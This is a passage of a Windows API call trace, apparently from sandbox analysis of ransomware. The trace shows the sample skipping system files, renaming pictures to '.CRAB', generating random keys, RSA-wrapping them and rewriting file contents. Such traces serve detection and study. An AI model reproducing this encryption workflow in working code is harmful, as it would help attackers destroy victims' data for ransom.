	[0132.826] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.827] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0132.829] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e890) returned 1
	[0132.830] CryptGetKeyParam (in: hKey=0x320e890, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.830] CryptEncrypt (in: hKey=0x320e890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.830] GetLastError () returned 0x0
	[0132.830] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.830] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6eb78) returned 1
	[0132.833] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e910) returned 1
	[0132.833] CryptGetKeyParam (in: hKey=0x320e910, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.833] CryptEncrypt (in: hKey=0x320e910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.833] GetLastError () returned 0x0
	[0132.833] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.833] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\IHCAw.bmp.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\ihcaw.bmp.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.834] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.834] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.834] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0x3ad1, lpOverlapped=0x0) returned 1
	[0132.846] VirtualAlloc (lpAddress=0x0, dwSize=0x3ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.847] VirtualAlloc (lpAddress=0x0, dwSize=0x3ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.847] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.848] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffffc52f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.848] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x3ae0, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0x3ae0, lpOverlapped=0x0) returned 1
	[0132.848] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.848] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.852] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.852] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.852] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.852] CloseHandle (hObject=0x3ec) returned 1
	[0132.852] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.852] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.853] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.853] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.857] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.857] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.858] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.858] lstrcmpW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2=".") returned 1
	[0132.858] lstrcmpW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="..") returned 1
	[0132.858] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="LLluvIYiudzZO31iisP.gif" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif"
	[0132.858] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.858] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif") returned 61
	[0132.858] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif") returned 61
	[0132.858] lstrlenW (lpString=".gif") returned 4
	[0132.858] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.858] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".gif ") returned 5
	[0132.859] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif") returned 61
	[0132.859] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif") returned 61
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="desktop.ini") returned 1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="autorun.inf") returned 1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="ntuser.dat") returned -1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="iconcache.db") returned 1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="bootsect.bak") returned 1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="boot.ini") returned 1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="ntuser.dat.log") returned -1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="thumbs.db") returned -1
	[0132.859] lstrcmpiW (lpString1="LLluvIYiudzZO31iisP.gif", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.859] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.859] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB") returned 66
	[0132.860] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\llluviyiudzzo31iisp.gif")) returned 0x20
	[0132.860] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif", dwFileAttributes=0x20) returned 1
	[0132.860] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\llluviyiudzzo31iisp.gif"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\llluviyiudzzo31iisp.gif.crab")) returned 1
	[0132.861] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.861] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB"
	[0132.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB.CRAB"
	[0132.861] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0132.864] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.864] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.864] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.865] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.865] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.865] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.865] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6eb78) returned 1
	[0132.867] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.868] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.868] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.868] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.868] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0132.868] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.868] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.869] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.870] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e408) returned 1
	[0132.872] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ec10) returned 1
	[0132.872] CryptGetKeyParam (in: hKey=0x320ec10, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.872] CryptEncrypt (in: hKey=0x320ec10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.872] GetLastError () returned 0x0
	[0132.872] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.872] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6ed98) returned 1
	[0132.874] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320eb90) returned 1
	[0132.874] CryptGetKeyParam (in: hKey=0x320eb90, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.874] CryptEncrypt (in: hKey=0x320eb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.874] GetLastError () returned 0x0
	[0132.874] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0132.874] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\LLluvIYiudzZO31iisP.gif.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\llluviyiudzzo31iisp.gif.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.875] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.875] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0132.875] ReadFile (in: hFile=0x3ec, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314c9c4, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314c9c4*=0xe0f9, lpOverlapped=0x0) returned 1
	[0132.888] VirtualAlloc (lpAddress=0x0, dwSize=0xe100, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0132.890] VirtualAlloc (lpAddress=0x0, dwSize=0xe100, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0132.891] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.892] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xffff1f07, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0132.892] WriteFile (in: hFile=0x3ec, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xe100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314c9b4*=0xe100, lpOverlapped=0x0) returned 1
	[0132.892] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.892] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0132.896] WriteFile (in: hFile=0x3ec, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0132.896] CloseHandle (hObject=0x3ec) returned 1
	[0132.896] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.897] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.897] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.897] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.897] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.898] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.898] FindNextFileW (in: hFindFile=0x320df10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0132.898] lstrcmpW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2=".") returned 1
	[0132.898] lstrcmpW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="..") returned 1
	[0132.898] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\", lpString2="P6gz_8esxBcK7m1j14Tw.png" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png"
	[0132.898] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0132.898] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png") returned 62
	[0132.898] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png") returned 62
	[0132.898] lstrlenW (lpString=".png") returned 4
	[0132.898] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.899] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".png ") returned 5
	[0132.899] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png") returned 62
	[0132.899] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png") returned 62
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="desktop.ini") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="autorun.inf") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="ntuser.dat") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="iconcache.db") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="bootsect.bak") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="boot.ini") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="ntuser.dat.log") returned 1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="thumbs.db") returned -1
	[0132.899] lstrcmpiW (lpString1="P6gz_8esxBcK7m1j14Tw.png", lpString2="CRAB-DECRYPT.txt") returned 1
	[0132.899] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0132.900] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB") returned 67
	[0132.900] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\p6gz_8esxbck7m1j14tw.png")) returned 0x20
	[0132.900] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png", dwFileAttributes=0x20) returned 1
	[0132.901] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\p6gz_8esxbck7m1j14tw.png"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\p6gz_8esxbck7m1j14tw.png.crab")) returned 1
	[0132.901] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0132.902] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB"
	[0132.902] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB.CRAB"
	[0132.902] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e408) returned 1
	[0132.903] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.904] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.904] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314c96c | out: pbBuffer=0x314c96c) returned 1
	[0132.904] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0132.904] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.904] CryptAcquireContextW (in: phProv=0x314c830, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c830*=0xd6e5a0) returned 1
	[0132.905] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0132.905] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0132.906] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0132.906] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x20, pbBuffer=0x314c948 | out: pbBuffer=0x314c948) returned 1
	[0132.906] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0132.906] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0132.906] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0132.906] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0132.907] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e6b0) returned 1
	[0132.908] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320e950) returned 1
	[0132.908] CryptGetKeyParam (in: hKey=0x320e950, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.908] CryptEncrypt (in: hKey=0x320e950, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314c97c*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314c97c*=0x100) returned 1
	[0132.908] GetLastError () returned 0x0
	[0132.908] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0132.908] CryptAcquireContextW (in: phProv=0x314c820, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314c820*=0xd6e9e0) returned 1
	[0132.909] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314c81c | out: phKey=0x314c81c*=0x320ebd0) returned 1
	[0132.910] CryptGetKeyParam (in: hKey=0x320ebd0, dwParam=0x8, pbData=0x314c80c, pdwDataLen=0x314c814, dwFlags=0x0 | out: pbData=0x314c80c*=0x800, pdwDataLen=0x314c814*=0x4) returned 1
	[0132.910] CryptEncrypt (in: hKey=0x320ebd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314c980*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314c980*=0x100) returned 1
	[0132.910] GetLastError () returned 0x0
	[0132.910] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0132.910] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\AxDg0P\\P6gz_8esxBcK7m1j14Tw.png.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\axdg0p\\p6gz_8esxbck7m1j14tw.png.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0132.910] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0132.911] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
